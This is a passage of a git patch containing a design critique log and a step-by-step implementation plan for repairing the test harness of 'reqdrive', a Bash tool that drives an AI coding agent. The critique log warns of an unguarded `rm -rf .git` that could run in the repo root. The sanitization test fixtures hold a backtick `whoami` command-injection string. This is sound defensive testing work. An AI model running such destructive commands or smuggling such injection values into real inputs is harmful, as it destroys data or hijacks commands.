`reviewModel` and a pre-PR position; out of scope here. + +--- + +## Design Critique Log + +Three independent adversarial rounds (DOCTRINE D4). 38 findings total. Every load-bearing finding was re-verified first-hand against the code before revision — several subagent claims were checked and confirmed, and one round-2 table row was found mislabeled and corrected. + +### Critique Round 1 — 14 findings + 2 minor + +| # | Finding | Resolution | +|---|---|---| +| 1 | **`set -e` makes the FAIL branch unreachable** — a failing test truncates the suite; R2 would be dead code, "0 failed" vacuous, red-first impossible. | New **P0** prerequisite; rule R0; §1.1; L1 corrected to start **FAIL**. | +| 2 | Conditional exemption applied to R1, but the else-branch emits the same name via `test_skip`, so **R3** fires and CI reddens on run one. | Exemption moved to R3; gate evaluates conditions itself. | +| 3 | `${tpl//@@T@@/$val}` broken by bash 5.2 `patsub_replacement` — `&` injects a live placeholder. | Replacement quoted; `shopt -u`; `&`/`\`/`` ` `` fixtures required. | +| 4 | "Byte-identical" was false and would have **frozen a live defect** (`\$` reaching the agent's commit message). | P6a split into characterize → rewrite → enumerated correction (D9); §1.4.3. | +| 5 | Verification extraction is not three clean functions; `cmd_verify` as specified **destroys** the evidence trail the PR body reads. | §3.2 rewritten: dependency table, tri-state, named globals, merge mode, branch-match + `--ref`. Renamed `lib/verification.sh`. | +| 6 | P2's assertions needed a pipeline harness introduced a phase later; nothing invokes `run_pipeline`. | New **P3** builds it first. | +| 7 | §1 numbers wrong: 157 unique names not 159; 60 stories not 62; `claude` is present locally. | §1 re-measured; D8 pins generation to the CI configuration. | +| 8 | §6 contradicted the code — `validate.sh` exits 1; config load never schema-validates. | P7 exit-code alignment as a red-first sub-item; config-load claim withdrawn. | +| 9 | Doc-coverage criteria not binary; README omits `plan` too; derived vars would fire forever. | P5 label regex, `DOC_EXEMPT`, corrected range and prediction. | +| 10 | bats declared out of scope, but CI gates on it and `pipeline.bats:282` asserts on the function P6a rewrites. | D7 revised: not frozen, must stay green. *(Round 3 tightened this further.)* | +| 11 | "3 injection assertions stay green" is a non-criterion — two are pure negatives an empty file satisfies. | Golden file becomes the positive oracle; weakness logged in P1. | +| 12 | P5 automates process-liveness tests CLAUDE.md calls unreliable, then forbids SKIP via R3. | *(Round 3 replaced this with a Linux-only CI job.)* | +| 13 | `writer≠grader` cited as L2 evidence is false: same model, off by default, post-PR. | Claim **withdrawn**. | +| 14 | Name-parsing hazards: ANSI codes, `": "` inside all names, source-vs-runtime text, SKIP suffix, interleaved warnings. | §3.1 specifies the parser step-by-step. | +| minor | `build_implementation_prompt` writes blank fields when `jq` fails. | P1 findings register. | +| minor | `oracle-gate.sh` would not be linted. | P2 exit criteria. | + +### Critique Round 2 — 12 findings + +| # | Finding | Resolution | +|---|---|---| +| 1 | **The P0 fix does not work and is worse than the status quo.** Bash suppresses `errexit` inside a subshell used as an `if` condition, and the suppression propagates into the body even with an explicit `set -e`. Applied as written, a `lib/` function returning 1 yields **157 passed / 0 failed**. Verified across five forms. | §1.2 added with the measured table. P0 respecified: `set +e` at top + `set -e` first in each body. **D11**: validate by mutation, not inversion. | +| 2 | **The freeze is not tamper-evident** — a name-only lock is satisfied by replacing every body with `true`; the gate polices itself; free-form `conditional` is a kill switch. | D10 (body hashes), R4, R5, base-ref execution, closed enum. *(Round 3 replaced the first four with a whole-file hash.)* | +| 3 | R0's exit-code clause swallows R2 — post-P0 any FAIL exits non-zero, so weakening would report as truncation. `expectedResultLines` would go stale. | Explicit precedence; R0 fires only when short *and* no FAIL; the count is `len(tests)`. | +| 4 | **The draft gate fail-opens three ways, not one** — missing `prd.json` and omitted `passes` are both worse than the `null` case. Verified. | **D2 revised** to fail-closed; P4 expands to a red-first test per fail-open plus a positive control; L2 corrected to start **FAIL**. | +| 5 | `verify_write_summary` as specified emits **malformed JSON** — `max_iterations` is a `run_pipeline` local with no parameter for it. | Explicit parameter; `prd_file` derivation added; valid-JSON assertion in P6b. | +| 6 | Merge mode had an undefined first-run case, a concurrent-writer race with detached `launch`, and a non-atomic `cat >`. | All three defined in §3.2. | +| 7 | "`--ref` enforced automatically by P5" is **false** — P5 checked only commands and config vars. | Third doc-coverage rule for flags. | +| 8 | P7's glob criteria are vacuous — `**` and `*` are indistinguishable in `[[ ]]` and `src/auth/**` never matches `src/auth`. | Prefix-directory semantics specified; test cases include `src/auth` and the `src/auth.sh` sibling. | +| 9 | P1 understated ~50% — 36 assertions inside the "specced" modules have no story; the plan is ≈8–11 days. | §1.3 rewritten; per-phase effort estimates added. | +| 10 | Factual errors: **24** escaped backticks not ~14; `:1186` not `:1176`; `final_remaining` computed at `:1085`. | All corrected and re-measured first-hand. | +| 11 | P3 harness fidelity: `lib/run.sh` sets bare `set -e`, so a sourced harness lacks `pipefail` — and failure is detected through a `claude \| tee` pipeline. `run_pipeline` ends in `exit`. `timeout` undocumented. | All three added as P3 exit criteria. | +| 12 | Lock edits had no append-only rule; locked doc-coverage tests will redden from unrelated edits. | R4 added *(later superseded)*; §3.1 states the cross-file reddening explicitly. | + +### Critique Round 3 — 15 findings + +Round 3 first **empirically confirmed the round-2 P0 fix**: applied to a copy it yields 157/0 clean; `return 1` in `build_implementation_prompt` produces exactly 3 FAILs; the broken `if ( ... )` variant produces 157/0 under the same mutant — so D11 genuinely discriminates. It also confirmed R5 extraction was mechanically feasible and that round 2's line-number corrections all hold. Then: + +| # | Finding | Resolution | +|---|---|---| +| 1 | **P0's `set +e` removes the only guard on `mktemp`, and the suite then runs `rm -rf .git` in the repo root.** `cd ""` returns 0 and stays in the invocation directory — verified — and the test at `:743` passes while destroying the repository. | §1.4.6 added; P0 gains an explicit `mktemp` guard, a `[ -n ]`/`[ -d ]` check, `rm -rf "$TEST_TEMP/.git"`, and a fourth mutation criterion. | +| 2 | **The freeze is defeated by a six-line edit to `test_result`**, which sits outside every subshell and therefore outside every body hash. Demonstrated: all `lib/*.sh` emptied + reporter patched → 157/0, every rule green. | **D10 rewritten**: whole-file `suiteSha256` + `gateSha256` (rule R7). | +| 3 | **The three bats tests named as P6a's safety net cannot fail** — all end in `\|\| skip`; 6 hatches in `pipeline.bats`. Gutting the prompt builder produced `ok ... # skip` and exit 0. | §1.4.7 added; **D7 revised** to require zero e2e skips; P3 converts all 6 hatches to hard assertions; the golden file becomes P6a's sole named oracle. | +| 4 | **`shopt -u patsub_replacement 2>/dev/null` aborts the pipeline on bash < 5.2** — unknown option returns 1, `2>/dev/null` hides the message not the status, and `lib/run.sh:6` sets `set -e`. Verified. | `\|\| true` made mandatory, with an assertion exercising the unknown-option path. | +| 5 | R4 forbade removing entries but permitted rewriting them — updating a `bodySha256` in the same commit passed both R4 and R5. | Moot: R4/R5 removed in favor of R7 (finding 2). | +| 6 | §3.1's "generate from a run, never source" was incompatible with body hashes, and 4 of 157 names differ between source and runtime. | Moot under R7; §3.1 now states runtime data comes from the run and integrity from file hashes, and records the 4-name discrepancy. | +| 7 | **No rule fired on a test present in output but absent from the lock** — so every test P4–P7 writes was unprotected. | **R6** added; the contradictory P2 bullet deleted; lock registration named in each later phase. | +| 8 | Fail-closed + the default empty `testCommand` makes a non-draft PR unreachable, and the tri-state was introduced then ignored. | P4 states the consequence, adds a preflight warning, and uses the tri-state for a distinct PR-body reason line. | +| 9 | R4 could not run in CI — bare `actions/checkout@v4` is depth-1, `origin/main` unresolvable; plus bootstrap and local-run gaps. | Moot under R7, which needs no git remote and behaves identically locally and in CI. | +| 10 | Retiring the `"?"` sentinel silently changed the `verification-summary.json` contract and contradicted P6b's own characterization criterion. | The artifact keeps `"remaining": null`; a `prd_present` field is added; P6b's criterion restated. | +| 11 | Exit 4 for a live-PID refusal is wrong — "another reqdrive is running" is not a git failure. Also the two error-code test *names* become lies once codes 9/10 exist. | **D12**: `EXIT_CONCURRENT_RUN=10`. The two test names are renamed in P0, while the rename surface is declared zero. | +| 12 | P5 rule 3's parse spec was loose and its implied prediction wrong — it false-positives on `--help` inside a string at `:114` and really fails on `--dangerously-skip-permissions`. | Rule 3 now parses case labels, splits on `\|`, gains a `DOC_EXEMPT`, and states the true predicted failure. | +| 13 | D11's mutants are the easy ones — `return 1` is caught at the call site. A *silent* mutant produced only 1 FAIL of 3, and the weak assertions are then frozen forever with no phase repairing them. | Third **silent-mutant** criterion added to P0 (≥2 FAILs); P1's register gains a stated counting rule; P8 triages it; §8 states L1 PASS means "reportable," not "adequate." | +| 14 | Minor factual corrections: `max_iterations` at `:1136`; the heredoc at `:1123`; the PRD block `:1082-1092`; §1.3 sub-buckets 96/13/30/18; and **§1.2's row 4 was mislabeled** — `set +e` + body `set -e` does work. | All corrected; §1.2 row 4 relabeled "body **without** `set -e`". | +| 15 | **YAGNI:** cut base-ref execution + R4 (they cost a lot and do not hold, per finding 2), and cut the `posix-process` conditional (on MSYS2 it permanently exempts the entire `launch` lifecycle — a deleted test with ceremony). | Both cut. R7 replaces the former; a Linux-only CI job replaces the latter, with §8 recording that `launch` coverage is CI-only. | From c5636fe3ee19179fe0e58dced3af275a4f004f5f Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 09:43:51 -0600 Subject: [PATCH 02/47] docs: Add implementation plan for completing the reqdrive roadmap 35 bite-sized tasks across 9 phases, each ending in an independently testable deliverable with a commit. Ordering is forced by the foundation: the test harness cannot report a failure today, so P0 repairs it (and proves the repair by mutation, because assertion inversion cannot tell the correct fix from the broken one). Only then does the spec retrofit, the freeze, and any behavior change land. Phases: P0 harness truthfulness, P1 spec retrofit, P2 freeze gate, P3 pipeline harness, P4 fail-closed draft gate, P5 documentation gates, P6 heredoc fix + verify command, P7 policy cluster, P8 close out. Estimated 9-12 working days. --- .../2026-07-23-reqdrive-roadmap-completion.md | 4032 +++++++++++++++++ 1 file changed, 4032 insertions(+) create mode 100644 docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md diff --git a/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md b/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md new file mode 100644 index 0000000..216e487 --- /dev/null +++ b/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md @@ -0,0 +1,4032 @@ +# reqdrive Roadmap Completion Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Take reqdrive from L0 to L3 on the Readiness Ladder and finish every remaining CLAUDE.md Tier 2 item, with each behavior change locked in by a test that was observed failing first. + +**Architecture:** Strictly sequential. The test harness is repaired so failures are reportable (P0), every assertion gets a written criterion (P1), the baseline is frozen against tampering (P2), and only then does any behavior change land. A pipeline test harness (P3) unlocks testing of `run_pipeline`, which the fail-closed draft gate (P4) and the `verify` command (P6b) both need. + +**Tech Stack:** Bash 4.0+, jq, git, gh, coreutils (`sha256sum`, `timeout`, `mktemp`), bats-core (CI only), GitHub Actions. + +**Source spec:** [`docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md`](../specs/2026-07-23-reqdrive-roadmap-completion-design.md) + +## Global Constraints + +- **Bash floor is 4.0.** No feature may require 5.x. `patsub_replacement` does not exist before 5.2, so any `shopt` touching it must be suffixed `|| true`. +- **No new runtime dependencies** beyond the documented set: `bash`, `jq`, `git`, `gh`, `claude`, plus `timeout` and `sha256sum` (both coreutils, both to be documented in README during P3). +- **Schema version is `0.3.0`** in every JSON artifact reqdrive writes. +- `set -euo pipefail` in entry points (`bin/reqdrive`), `set -e` in libraries (`lib/*.sh`). Exception: `tests/simple-test.sh` becomes `set +e` at top with `set -e` inside each assertion body — this is Task 2 and is deliberate. +- **Run `bash -n` on every modified `.sh` file before committing.** CI enforces it. +- **shellcheck must stay clean.** CI lints `bin/reqdrive`, `lib/*.sh`, `install.sh`, `tests/simple-test.sh`, `tests/run-tests.sh`. Any new script added to those paths must be added to the lint list in the same commit. +- **All tests must pass** before any commit: `bash tests/simple-test.sh` exits 0. +- **From Task 14 onward**, `bash tests/oracle-gate.sh` must also exit 0 before any commit. +- **From Task 16 onward**, `bats tests/unit tests/e2e` must pass with **zero skips in `tests/e2e/`**. +- **No `Co-Authored-By` lines and no "Generated with Claude Code" footers** in commit messages (user's standing convention). +- **Never modify `lib/sanitize.sh`.** Its backtick neutralization is load-bearing for `tests/simple-test.sh:1186`. +- **Never modify a test name** except where a task explicitly says to. Renames are `NEEDS_HUMAN` events after Task 12. + +--- + +## File Structure + +| Path | Status | Responsibility | +|---|---|---| +| `tests/simple-test.sh` | Modify | The assertion suite. Gains a `mktemp` guard, per-body `set -e`, and all new assertions. | +| `tests/mutate.sh` | Create | Applies a named mutation to a scratch copy of the repo and reports the resulting FAIL count. Proves the harness can detect defects. | +| `tests/oracle-gate.sh` | Create | Parses a suite run, enforces gate rules R7/R2/R3/R6/R1/R0, and regenerates the lock under `--accept`. | +| `tests/oracle.lock.json` | Create | The frozen baseline: file hashes, test names, story IDs. | +| `tests/lib/pipeline-harness.sh` | Create | Fake `claude`, fake `gh`, scratch git repo; lets assertions invoke `run_pipeline`. | +| `tests/BEHAVIOR-SPEC.md` | Modify | Behavioral contract. Extended from 4 modules to all 10. | +| `tests/FINDINGS.md` | Create | Register of weak assertions and known test-quality gaps, triaged at Task 35. | +| `tests/e2e/pipeline.bats` | Modify | Six `\|\| skip` escape hatches converted to hard assertions. | +| `lib/verification.sh` | Create | Verification phase extracted from `run_pipeline`, shared by `run` and `verify`. | +| `lib/run.sh` | Modify | Draft gate inverted; prompt heredoc rewritten; Phase 3 delegated to `lib/verification.sh`; scope check added. | +| `lib/errors.sh` | Modify | Adds `EXIT_VERIFICATION_FAILED=9`, `EXIT_CONCURRENT_RUN=10`. | +| `lib/schema.sh` | Modify | Validates the new `policy` config object. | +| `lib/validate.sh` | Modify | Exit codes aligned to `EXIT_CONFIG_ERROR`. | +| `lib/policy.sh` | Create | Risk-tier path matching and scope-check evaluation. | +| `bin/reqdrive` | Modify | Adds the `verify` command and its `--ref` flag. | +| `README.md` | Modify | Documents the full public surface; enforced by doc-coverage tests. | +| `docs/audits/2026-02-16-pipeline-audit.md` | Create (move) | Relocated `reqdrive-audit.md` with a correction preamble. | +| `docs/STATUS.md` | Create | Canonical living status doc. | +| `.github/workflows/ci.yml` | Modify | Adds `oracle-gate` job and a Linux-only `launch-lifecycle` job. | + +--- + +# Phase P0 — Make the harness able to report failure + +**Why first:** `tests/simple-test.sh:11` sets `set -e` and every assertion is a bare subshell followed by `test_result "name" $?`. A failing subshell kills the script before `test_result` runs, so the FAIL branch is unreachable and "0 failed" is guaranteed by construction. Nothing in this plan can be verified until this is fixed. + +--- + +### Task 1: Guard `mktemp` before removing the protection `set -e` provides + +**Files:** +- Modify: `tests/simple-test.sh:56-57` (temp dir creation), `tests/simple-test.sh:743` (`rm -rf .git`) + +**Interfaces:** +- Consumes: nothing. +- Produces: a `TEST_TEMP` that is guaranteed non-empty and a real directory before any assertion runs. Every later task depends on this. + +**Context:** `tests/simple-test.sh:56` is `TEST_TEMP=$(mktemp -d)` with no error check. Line 743 runs `rm -rf .git` after `cd "$TEST_TEMP"`. Today `set -e` at line 11 aborts the script if `mktemp` fails. Task 2 removes that. **`cd ""` returns 0 and leaves you in the invocation directory** — verified — so an unguarded empty `TEST_TEMP` would run `rm -rf .git` in the repo root, and the test would report PASS while doing it. + +- [ ] **Step 1: Write the failing test** + +Add this at the end of `tests/simple-test.sh`, immediately before the `echo ""` that precedes the results banner at line 2306: + +```bash +echo "" +echo "--- Harness Safety ---" + +# Test: suite refuses to run when mktemp fails +( + set -e + fake_bin="$TEST_TEMP/fakebin" + mkdir -p "$fake_bin" + cat > "$fake_bin/mktemp" <<'MKEOF' +#!/usr/bin/env bash +exit 1 +MKEOF + chmod +x "$fake_bin/mktemp" + out=$(PATH="$fake_bin:$PATH" bash "$REQDRIVE_ROOT/tests/simple-test.sh" 2>&1) && rc=0 || rc=$? + [ "$rc" -ne 0 ] + echo "$out" | grep -q "FATAL: mktemp failed" +) +test_result "harness: aborts when mktemp fails" $? +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `bash tests/simple-test.sh 2>&1 | tail -20` + +Expected: the suite aborts (no results banner printed) because the inner run currently succeeds despite the fake `mktemp` — `set -e` at line 11 kills the outer script when the assertion's `[ "$rc" -ne 0 ]` fails. That abort *is* the red signal; note the last `PASS:` line printed so you can confirm it advances after the fix. + +- [ ] **Step 3: Write minimal implementation** + +Replace `tests/simple-test.sh:56-57`: + +```bash +# Create temp directory +TEST_TEMP=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$TEST_TEMP" ] && [ -d "$TEST_TEMP" ] || { echo "FATAL: bad TEST_TEMP" >&2; exit 1; } +trap 'rm -rf "$TEST_TEMP"' EXIT +``` + +Note the trap changes from double to single quotes so it resolves `$TEST_TEMP` at trap time rather than baking in a possibly-empty value. + +Then replace line 743 inside the `check_git_repo` assertion: + +```bash + rm -rf "$TEST_TEMP/.git" 2>/dev/null || true +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `bash tests/simple-test.sh 2>&1 | tail -8` + +Expected: +``` +PASS: harness: aborts when mktemp fails + Results: 158 passed, 0 failed, 0 skipped, 158 total +``` + +- [ ] **Step 5: Verify the repo was not harmed** + +Run: `git status --short && ls -d .git` + +Expected: `.git` exists; no unexpected deletions in `git status`. + +- [ ] **Step 6: Syntax check and commit** + +```bash +bash -n tests/simple-test.sh +git add tests/simple-test.sh +git commit -m "fix(tests): guard mktemp and scope the .git removal to TEST_TEMP + +cd \"\" returns 0 and stays in the invocation directory, so an empty +TEST_TEMP would make the check_git_repo assertion run rm -rf .git in +the repo root. set -e was masking a failed mktemp; the next commit +removes that protection, so make the guard explicit first." +``` + +--- + +### Task 2: Make `errexit` active inside each assertion body + +**Files:** +- Modify: `tests/simple-test.sh:11` and 157 assertion bodies + +**Interfaces:** +- Consumes: Task 1's guarded `TEST_TEMP`. +- Produces: a suite where `test_result` receives a real status and the FAIL branch is reachable. Every red-first task in this plan depends on it. + +**Context:** Bash ignores `errexit` inside a compound command used as an `if` condition, and **the suppression propagates into the subshell body even when the body sets `set -e` itself**. Measured: + +| Form | `errexit` active inside? | +|---|---| +| `if ( ... ); then rc=0; else rc=$?; fi` | no | +| `if ( set -e; ... ); then ...` | no | +| `( ... ) && rc=0 \|\| rc=$?` | no | +| `set +e` at top; body without `set -e` | no | +| **`set +e` at top; `set -e` first in body; invoked as a simple command** | **yes** | + +Only the last form works. Do not substitute any other. + +- [ ] **Step 1: Confirm the body shapes before transforming** + +Run: +```bash +grep -c '^($' tests/simple-test.sh +grep -c '^ ($' tests/simple-test.sh +grep -c 'test_result ' tests/simple-test.sh +``` + +Expected: `156` col-0 open parens (155 original + 1 from Task 1), `2` indented (the two `HAS_CLAUDE` blocks at lines 1260 and 1787), `158` `test_result` calls. If these numbers differ, stop — the transformation is not safe and the mismatch must be understood first. + +- [ ] **Step 2: Apply the transformation** + +```bash +awk ' + /^\($/ { print; print " set -e"; next } + /^ \($/ { print; print " set -e"; next } + { print } +' tests/simple-test.sh > /tmp/st.new && mv /tmp/st.new tests/simple-test.sh +``` + +Then change line 11 from `set -e` to: + +```bash +set +e +``` + +- [ ] **Step 3: Verify the transformation landed exactly** + +Run: +```bash +grep -c '^ set -e$' tests/simple-test.sh +grep -c '^ set -e$' tests/simple-test.sh +sed -n '11p' tests/simple-test.sh +bash -n tests/simple-test.sh +``` + +Expected: `156`, `2`, `set +e`, and no syntax errors. + +The assertion added in Task 1 already begins with `set -e`, so it now has two consecutive `set -e` lines — harmless. The assertion at `tests/simple-test.sh:346-356` sets `set +e` inside its own body immediately after; the inserted `set -e` is cancelled there and is a deliberate no-op, keeping the edit uniform. + +- [ ] **Step 4: Run the suite** + +Run: `bash tests/simple-test.sh 2>&1 | tail -4; echo "EXIT=$?"` + +Expected: +``` + Results: 158 passed, 0 failed, 0 skipped, 158 total +EXIT=0 +``` + +- [ ] **Step 5: Commit** + +```bash +git add tests/simple-test.sh +git commit -m "fix(tests): make errexit active inside each assertion body + +set -e at the top of the suite aborted the script on a failing +subshell before test_result could run, so the FAIL branch was +unreachable and '0 failed' was guaranteed by construction. + +The obvious fix does not work: bash suppresses errexit inside a +subshell used as an if condition, and the suppression propagates +into the body even with an explicit set -e. The only form that +preserves the semantics is set +e at top plus set -e as the first +statement of each body, invoked as a simple command." +``` + +--- + +### Task 3: Build the mutation harness that proves failures surface + +**Files:** +- Create: `tests/mutate.sh` +- Modify: `.github/workflows/ci.yml` (add `tests/mutate.sh` to the shellcheck list at line 29) + +**Interfaces:** +- Consumes: Task 2's repaired suite. +- Produces: `bash tests/mutate.sh ` printing `MUTANT= EXIT= FAILS=`. Task 4 consumes the `FAILS` count. + +**Context:** Assertion inversion cannot validate Task 2 — inverting a body's last line flips the status under both the correct and the broken form. Only mutation discriminates. The harness copies the repo to a scratch directory so the working tree is never mutated. + +- [ ] **Step 1: Write the mutation harness** + +Create `tests/mutate.sh`: + +```bash +#!/usr/bin/env bash +# Apply a named mutation to a scratch copy of the repo, run the suite, +# and report how many assertions detected it. +# +# Usage: bash tests/mutate.sh +# Mutations: impl-prompt-return1 | load-checkpoint-return1 | impl-prompt-silent | none +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +MUTANT="${1:-none}" + +WORK=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$WORK" ] && [ -d "$WORK" ] || { echo "FATAL: bad WORK" >&2; exit 1; } +trap 'rm -rf "$WORK"' EXIT + +# Copy tracked files only — no .git, no run state. +(cd "$PROJECT_ROOT" && git ls-files -z | tar --null -T - -cf -) | (cd "$WORK" && tar -xf -) + +apply_mutation() { + case "$MUTANT" in + none) ;; + impl-prompt-return1) + # Total failure with an error status. + sed -i 's|^build_implementation_prompt() {|build_implementation_prompt() {\n return 1|' \ + "$WORK/lib/run.sh" + ;; + load-checkpoint-return1) + sed -i 's|^load_checkpoint() {|load_checkpoint() {\n return 1|' \ + "$WORK/lib/run.sh" + ;; + impl-prompt-silent) + # Total failure with a SUCCESS status: writes an empty prompt, returns 0. + sed -i 's|^build_implementation_prompt() {|build_implementation_prompt() {\n : > "$1"; return 0|' \ + "$WORK/lib/run.sh" + ;; + *) + echo "FATAL: unknown mutation '$MUTANT'" >&2 + exit 1 + ;; + esac +} + +apply_mutation +bash -n "$WORK/lib/run.sh" || { echo "FATAL: mutation broke syntax" >&2; exit 1; } + +out=$(cd "$WORK" && bash tests/simple-test.sh 2>&1) +rc=$? +fails=$(printf '%s\n' "$out" | sed 's/\x1b\[[0-9;]*m//g' | grep -c '^FAIL: ') +lines=$(printf '%s\n' "$out" | sed 's/\x1b\[[0-9;]*m//g' | grep -cE '^(PASS|FAIL|SKIP): ') + +echo "MUTANT=$MUTANT EXIT=$rc FAILS=$fails RESULT_LINES=$lines" +printf '%s\n' "$out" | sed 's/\x1b\[[0-9;]*m//g' | grep '^FAIL: ' || true +``` + +- [ ] **Step 2: Prove the baseline is clean** + +Run: `bash tests/mutate.sh none` + +Expected: `MUTANT=none EXIT=0 FAILS=0 RESULT_LINES=158` + +- [ ] **Step 3: Prove an error-status mutant is caught** + +Run: `bash tests/mutate.sh impl-prompt-return1` + +Expected: `EXIT=1`, `FAILS=3`, `RESULT_LINES=158`. The three named failures are the implementation-prompt sanitization assertions. **The suite must run to completion** — `RESULT_LINES=158`, not a truncated count. Under the broken `if ( ... )` form this same mutant yields `FAILS=0`, which is exactly what this step exists to rule out. + +- [ ] **Step 4: Prove a second error-status mutant is caught** + +Run: `bash tests/mutate.sh load-checkpoint-return1` + +Expected: `EXIT=1`, `FAILS` at least 3. + +- [ ] **Step 5: Add to the lint list and commit** + +In `.github/workflows/ci.yml`, change line 29 to: + +```yaml + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh +``` + +```bash +bash -n tests/mutate.sh +shellcheck tests/mutate.sh +git add tests/mutate.sh .github/workflows/ci.yml +git commit -m "test: add mutation harness proving failures surface + +Assertion inversion cannot validate the errexit fix — inverting a +body's last line flips the status under both the correct and the +broken form. Mutation discriminates: impl-prompt-return1 yields 3 +FAILs under the correct harness and 0 under the broken one." +``` + +--- + +### Task 4: Strengthen weak assertions until a silent mutant is caught + +**Files:** +- Modify: `tests/simple-test.sh` (the implementation-prompt sanitization assertions, lines ~1180-1215 after Task 2's insertions) +- Create: `tests/FINDINGS.md` + +**Interfaces:** +- Consumes: `tests/mutate.sh` from Task 3. +- Produces: `tests/FINDINGS.md`, the register Task 35 triages. + +**Context:** `return 1` mutants are caught at the call site by `errexit` — the assertions never have to discriminate. A *silent* mutant (empty output, success status) is the real test of assertion quality. Measured today: the silent mutant produces only **1** FAIL of 3, because two of the three assertions are pure negatives (`! grep -q '\`whoami\`'` at `tests/simple-test.sh:1186` and `! grep -q "$HOME"` at `:1206`, pre-Task-2 numbering) that an empty file satisfies. This task raises that to ≥2 by adding positive content checks, and records the remaining weak assertions rather than pretending they are fine. + +- [ ] **Step 1: Measure the silent mutant before changing anything** + +Run: `bash tests/mutate.sh impl-prompt-silent` + +Expected: `FAILS=1`. Record the number — Step 5 must show it increase. + +- [ ] **Step 2: Add positive assertions to the two pure negatives** + +In the backtick assertion body, after the existing `! grep -q '\`whoami\`' "$prompt_file"` line, add: + +```bash + # Positive: the sanitized description must actually be present. + grep -q "Use 'whoami' to attack" "$prompt_file" + grep -q '\*\*Title:\*\* Safe title' "$prompt_file" +``` + +In the `${VAR}` assertion body, after the existing `! grep -q "$HOME" "$prompt_file"` line, add: + +```bash + # Positive: the criterion text must actually be present. + grep -q 'Check \\${HOME} variable' "$prompt_file" + grep -q 'US-003' "$prompt_file" +``` + +- [ ] **Step 3: Run the suite** + +Run: `bash tests/simple-test.sh 2>&1 | tail -4` + +Expected: `158 passed, 0 failed`. If the `\\${HOME}` pattern does not match, print the file and match what is actually emitted — the current builder escapes `$` to `\$`, which is the defect Task 28 corrects later. Assert what is true today; Task 28 updates it in an enumerated commit. + +- [ ] **Step 4: Verify the silent mutant is now caught by more assertions** + +Run: `bash tests/mutate.sh impl-prompt-silent` + +Expected: `FAILS` is now at least `2` (was 1). + +- [ ] **Step 5: Verify the error mutants still behave** + +Run: +```bash +bash tests/mutate.sh none +bash tests/mutate.sh impl-prompt-return1 +``` + +Expected: `FAILS=0` and `FAILS=3` respectively. + +- [ ] **Step 6: Create the findings register** + +Create `tests/FINDINGS.md`: + +```markdown +# Test Quality Findings Register + +Weak assertions and known test-quality gaps, recorded rather than silently +frozen. Triaged at the end of the roadmap-completion work (P8). + +**Counting rule for "pure negative":** an assertion whose final statement is +a negation (`! cmd`), an emptiness check (`[ -z "$x" ]`), or an inequality +against absence. Such an assertion reports PASS when its own setup fails, +so it cannot detect a silent defect. + +## Open + +| # | Location | Finding | Status | +|---|---|---|---| +| F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Partially fixed** (Task 4) — positive content checks added; silent mutant now caught by 2 of 3. | +| F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open | +| F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | +| F4 | Suite-wide | ~21 assertions end in a pure negative and cannot detect setup failure. Exact count to be reproduced during P1. | Open | +| F5 | `tests/simple-test.sh:346-356` | The `reqdrive validate` assertion checks only `-ne 0`, so it does not pin the exit code. | Closed by Task 31 | + +## Closed + +_None yet._ +``` + +- [ ] **Step 7: Commit** + +```bash +bash -n tests/simple-test.sh +git add tests/simple-test.sh tests/FINDINGS.md +git commit -m "test: add positive checks to prompt assertions, open findings register + +Two of the three implementation-prompt assertions were pure negatives +that an empty file satisfies, so a silent mutant (empty output, +success status) was caught by only 1 of 3. Positive content checks +raise that to 2 of 3. Remaining weak assertions are recorded in +tests/FINDINGS.md rather than frozen silently." +``` + +--- + +### Task 5: Rename the two exit-code test names before the freeze + +**Files:** +- Modify: `tests/simple-test.sh:653`, `tests/simple-test.sh:668` (pre-Task-2 line numbers; locate by name) + +**Interfaces:** +- Consumes: nothing. +- Produces: test names that stay truthful after Tasks 30 and 32 add exit codes 9 and 10. + +**Context:** The names `errors: defines all exit codes (0-8)` and `errors: EXIT_MESSAGES covers all codes` become lies once Task 30 adds `EXIT_VERIFICATION_FAILED=9` and `EXIT_CONCURRENT_RUN=10`. After Task 12 a rename is a `NEEDS_HUMAN` event. Do it now, while the rename surface is still declared zero. The assertion bodies are unchanged — they enumerate 0-8 explicitly and stay correct as a subset check. + +- [ ] **Step 1: Rename** + +```bash +sed -i 's|test_result "errors: defines all exit codes (0-8)"|test_result "errors: defines the base exit codes 0-8"|' tests/simple-test.sh +sed -i 's|test_result "errors: EXIT_MESSAGES covers all codes"|test_result "errors: EXIT_MESSAGES covers the base codes 0-8"|' tests/simple-test.sh +``` + +- [ ] **Step 2: Verify both renames landed** + +Run: `grep -n 'test_result "errors: defines\|test_result "errors: EXIT_MESSAGES' tests/simple-test.sh` + +Expected: two lines showing the new names, no occurrences of the old ones. + +- [ ] **Step 3: Run the suite** + +Run: `bash tests/simple-test.sh 2>&1 | tail -3` + +Expected: `158 passed, 0 failed`. + +- [ ] **Step 4: Commit** + +```bash +bash -n tests/simple-test.sh +git add tests/simple-test.sh +git commit -m "test: rename exit-code assertions to survive codes 9 and 10 + +The names claimed coverage of 'all codes'. Codes 9 and 10 arrive in +P6/P7, and after the freeze lands a rename is a NEEDS_HUMAN event — 